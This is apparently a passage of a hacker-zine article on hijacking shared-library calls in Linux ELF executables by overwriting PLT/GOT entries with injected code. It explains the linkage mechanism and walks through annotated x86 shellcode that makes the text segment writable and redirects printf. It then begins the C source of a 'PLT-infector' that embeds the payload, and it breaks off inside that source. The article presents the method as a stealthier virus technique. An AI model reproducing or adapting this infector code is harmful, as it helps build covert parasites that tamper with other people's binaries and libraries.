This has the advantage over the LD_PRELOAD redirection technique in that no environment variables are modified, thus remaining more hidden than previous techniques. An implementation is provided for x86/Linux. For those interested please visit the following URLs: http://virus.beergrave.net (The Unix Virus Mailing List) http://www.big.net.au/~silvio (My page) ----| THE PROCEDURE LINKAGE TABLE (PLT) From the ELF specifications... (not necessary to read but gives more detail than the follow-up text) " Procedure Linkage Table Much as the global offset table redirects position-independent address calculations to absolute locations, the procedure linkage table redirects position-independent function calls to absolute locations. The link editor cannot resolve execution transfers (such as function calls) from one executable or shared object to another. Consequently, the link editor arranges to have the program transfer control to entries in the procedure linkage table. On the SYSTEM V architecture, procedure linkage tables reside in shared text, but they use addresses in the private global offset table. The dynamic linker determines the destinations' absolute addresses and modifies the global offset table's memory image accordingly. The dynamic linker thus can redirect the entries without compromising the position-independence and sharability of the program's text. Executable files and shared object files have separate procedure linkage tables. + Figure 2-12: Absolute Procedure Linkage Table {*} .PLT0:pushl got_plus_4 jmp *got_plus_8 nop; nop nop; nop .PLT1:jmp *name1_in_GOT pushl $offset jmp .PLT0@PC .PLT2:jmp *name2_in_GOT pushl $offset jmp .PLT0@PC ... + Figure 2-13: Position-Independent Procedure Linkage Table .PLT0:pushl 4(%ebx) jmp *8(%ebx) nop; nop nop; nop .PLT1:jmp *name1@GOT(%ebx) pushl $offset jmp .PLT0@PC .PLT2:jmp *name2@GOT(%ebx) pushl $offset jmp .PLT0@PC ... NOTE: As the figures show, the procedure linkage table instructions use different operand addressing modes for absolute code and for position- independent code. Nonetheless, their interfaces to the dynamic linker are the same. Following the steps below, the dynamic linker and the program ``cooperate'' to resolve symbolic references through the procedure linkage table and the global offset table. 1. When first creating the memory image of the program, the dynamic linker sets the second and the third entries in the global offset table to special values. Steps below explain more about these values. 2. If the procedure linkage table is position-independent, the address of the global offset table must reside in %ebx. Each shared object file in the process image has its own procedure linkage table, and control transfers to a procedure linkage table entry only from within the same object file. Consequently, the calling function is responsible for setting the global offset table base register before calling the procedure linkage table entry. 3. For illustration, assume the program calls name1, which transfers control to the label .PLT1. 4. The first instruction jumps to the address in the global offset table entry for name1. Initially, the global offset table holds the address of the following pushl instruction, not the real address of name1. 5. Consequently, the program pushes a relocation offset (offset) on the stack. The relocation offset is a 32-bit, non-negative byte offset into the relocation table. The designated relocation entry will have type R_386_JMP_SLOT, and its offset will specify the global offset table entry used in the previous jmp instruction. The relocation entry also contains a symbol table index, thus telling the dynamic linker what symbol is being referenced, name1 in this case. 6. After pushing the relocation offset, the program then jumps to .PLT0, the first entry in the procedure linkage table. The pushl instruction places the value of the second global offset table entry (got_plus_4 or 4(%ebx)) on the stack, thus giving the dynamic linker one word of identifying information. The program then jumps to the address in the third global offset table entry (got_plus_8 or 8(%ebx)), which transfers control to the dynamic linker. 7. When the dynamic linker receives control, it unwinds the stack, looks at the designated relocation entry, finds the symbol's value, stores the ``real'' address for name1 in its global offset table entry, and transfers control to the desired destination. 8. Subsequent executions of the procedure linkage table entry will transfer directly to name1, without calling the dynamic linker a second time. That is, the jmp instruction at .PLT1 will transfer to name1, instead of ``falling through'' to the pushl instruction. The LD_BIND_NOW environment variable can change dynamic linking behavior. If its value is non-null, the dynamic linker evaluates procedure linkage table entries before transferring control to the program. That is, the dynamic linker processes relocation entries of type R_386_JMP_SLOT during process initialization. Otherwise, the dynamic linker evaluates procedure linkage table entries lazily, delaying symbol resolution and relocation until the first execution of a table entry. NOTE: Lazy binding generally improves overall application performance, because unused symbols do not incur the dynamic linking overhead. Nevertheless, two situations make lazy binding undesirable for some applications. First, the initial reference to a shared object function takes longer than subsequent calls, because the dynamic linker intercepts the call to resolve the symbol. Some applications cannot tolerate this unpredictability. Second, if an error occurs and the dynamic linker cannot resolve the symbol, the dynamic linker will terminate the program. Under lazy binding, this might occur at arbitrary times. Once again, some applications cannot tolerate this unpredictability. By turning off lazy binding, the dynamic linker forces the failure to occur during process initialization, before the application receives control. " To explain in more detail... Shared library calls are treated special in executable objects because they cannot be linked to the executable at compile time. This is due to the fact that shared libraries are not available to the executable until runtime. The PLT was designed to handle such cases like these. The PLT holds the code responsible for calling the dynamic linker to locate these desired routines. Instead of calling the real shared library routine in the executable, the executable calls an entry in the PLT. It is then up to the PLT to resolve the symbol it represents and do the right thing. From the ELF specifications... " .PLT1:jmp *name1_in_GOT pushl $offset jmp .PLT0@PC " This is the important info. This is the routine called instead of the library call. name1_in_GOT originally starts off pointing to the following pushl instruction. The offset represents a relocation (see the ELF specifications) offset which has a reference to the symbol the library call represents. This is used for the final jmp which jumps to the dynamic linker. The dynamic linker then changes name1_in_GOT to point directly to the routine thus avoiding dynamic linking a second time. This summarizes the importance of the PLT in library lookups. It can be noted that we can change name_in_GOT to point to our own code, thus replacing library calls. If we save the state of the GOT before replacing, we can call the old library routine and thus redirect any library call. ----| ELF INFECTION To inject a redirected library call into an executable requires new code to be added to an executable. The actual procedure for ELF infection will not be described here as it has been covered very well in previous articles (http://www.big.net.au/~silvio - Unix Viruses/Unix ELF Parasites and Virus). For completeness Data Infection is used for injection, and it is slightly buggy not being strip safe. ----| PLT REDIRECTION The algorithm at the entry point code is as follows... * mark the text segment writeable * save the PLT(GOT) entry * replace the PLT(GOT) entry with the address of the new lib call The algorithm in the new library call is as follows... * do the payload of the new lib call * restore the original PLT(GOT) entry * call the lib call * save the PLT(GOT) entry again (if its changed) * replace the PLT(GOT) entry with the address of the new lib call To explain more how PLT redirection is done, the simplest method is to describe the sample code supplied. This code is injected into an executable and becomes the new entry point of the program. The library call that is redirected is printf, the new code prints a message before the printf supplied string. -- ok, save the registers and so forth... "\x60" /* pusha */ mark the text segment as rwx. We do this so we can modify the PLT which is in the text segment and is normally not writeable. "\xb8\x7d\x00\x00\x00" /* movl $125,%eax */ "\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */ "\xb9\x00\x40\x00\x00" /* movl $0x4000,%ecx */ "\xba\x07\x00\x00\x00" /* movl $7,%edx */ "\xcd\x80" /* int $0x80 */ we save the old library call's PLT(GOT) reference and replace it with the address of the new library call which immediately follows the entry point code. "\xa1\x00\x00\x00\x00" /* movl plt,%eax */ "\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */ "\xc7\x05\x00\x90\x04" /* movl $newcall,plt */ "\x08\x00\x00\x00\x00" restore the registers and so forth... "\x61" /* popa */ jump back to the executables original entry point. "\xbd\x00\x80\x04\x08" /* movl $entry,%ebp */ "\xff\xe5" /* jmp *%ebp */ the new library call (printf). /* newcall: */ get the address of the string to write . "\xeb\x38" /* jmp msg_jmp */ /* msg_call */ "\x59" /* popl %ecx */ and write that string using the Linux system call "\xb8\x04\x00\x00\x00" /* movl $4,%eax */ "\xbb\x01\x00\x00\x00" /* movl $1,%ebx */ "\xba\x0e\x00\x00\x00" /* movl $14,%edx */ "\xcd\x80" /* int $0x80 */ restore the old library call into the PLT(GOT) so we can call it "\xb8\x00\x00\x00\x00" /* movl $oldcall,%eax */ "\xa3\x00\x00\x00\x00" /* movl %eax,plt */ get the original printf argument "\xff\x75\xfc" /* pushl -4(%ebp) */ call the original library call "\xff\xd0" /* call *%eax */ save the original library call from the PLT(GOT). Remember this might change after a call to the library, so we save each time. This actually only changes after the first call, but we don't bother too much. "\xa1\x00\x00\x00\x00" /* movl plt,%eax */ "\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */ make the PLT(GOT) point back to the new library call "\xc7\x05\x00\x00\x00" /* movl $newcall,plt */ "\x08\x00\x00\x00\x00" clean up the arguments "\x58" /* popl %eax */ restore the registers and so forth... "\x61" /* popa */ and return from the function "\xc3" /* ret */ get the address of the string to write . /* msg_jmp */ "\xe8\xc4\xff\xff\xff" /* call msg_call */ the string "INFECTED Host " ----| FUTURE DIRECTIONS It is possible to infect a shared library directly, and this is sometimes more desirable because the redirection stays resident for all executables. Also possible, is an even more stealth version of the PLT redirection described by modifying the process image directly thus the host executable stays unmodified. This however has the disadvantage that the redirection stays active only for the life of a single process. ----| CONCLUSION This article has described a method of redirecting shared library calls in an executable by directly modifying the PLT of the executable in question using ELF infection techniques. It is more stealthy than previous techniques using LD_PRELOAD and has large possibilities. ----| CODE <++> p56/PLT-INFECTION/PLT-infector.c !fda3c047 #include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <sys/types.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <elf.h> #define PAGE_SIZE 4096 static char v[] = "\x60" /* pusha */ "\xb8\x7d\x00\x00\x00" /* movl $125,%eax */ "\xbb\x00\x80\x04\x08" /* movl $text_start,%ebx */ "\xb9\x00\x40\x00\x00" /* movl $0x4000,%ecx */ "\xba\x07\x00\x00\x00" /* movl $7,%edx */ "\xcd\x80" /* int $0x80 */ "\xa1\x00\x00\x00\x00" /* movl plt,%eax */ "\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */ "\xc7\x05\x00\x90\x04" /* movl $newcall,plt */ "\x08\x00\x00\x00\x00" "\x61" /* popa */ "\xbd\x00\x80\x04\x08" /* movl $entry,%ebp */ "\xff\xe5" /* jmp *%ebp */ /* newcall: */ "\xeb\x37" /* jmp msg_jmp */ /* msg_call */ "\x59" /* popl %ecx */ "\xb8\x04\x00\x00\x00" /* movl $4,%eax */ "\xbb\x01\x00\x00\x00" /* movl $1,%ebx */ "\xba\x0e\x00\x00\x00" /* movl $14,%edx */ "\xcd\x80" /* int $0x80 */ "\xb8\x00\x00\x00\x00" /* movl $oldcall,%eax */ "\xa3\x00\x00\x00\x00" /* movl %eax,plt */ "\xff\x75\xfc" /* pushl -4(%ebp) */ "\xff\xd0" /* call *%eax */ "\xa1\x00\x00\x00\x00" /* movl plt,%eax */ "\xa3\x00\x00\x00\x00" /* movl %eax,oldcall */ "\xc7\x05\x00\x00\x00" /* movl $newcall,plt */ "\x08\x00\x00\x00\x00" "\x58" /* popl %eax */ "\xc3" /* ret */ /* msg_jmp */ "\xe8\xc4\xff\xff\xff" /* call msg_call */ "INFECTED Host " ;
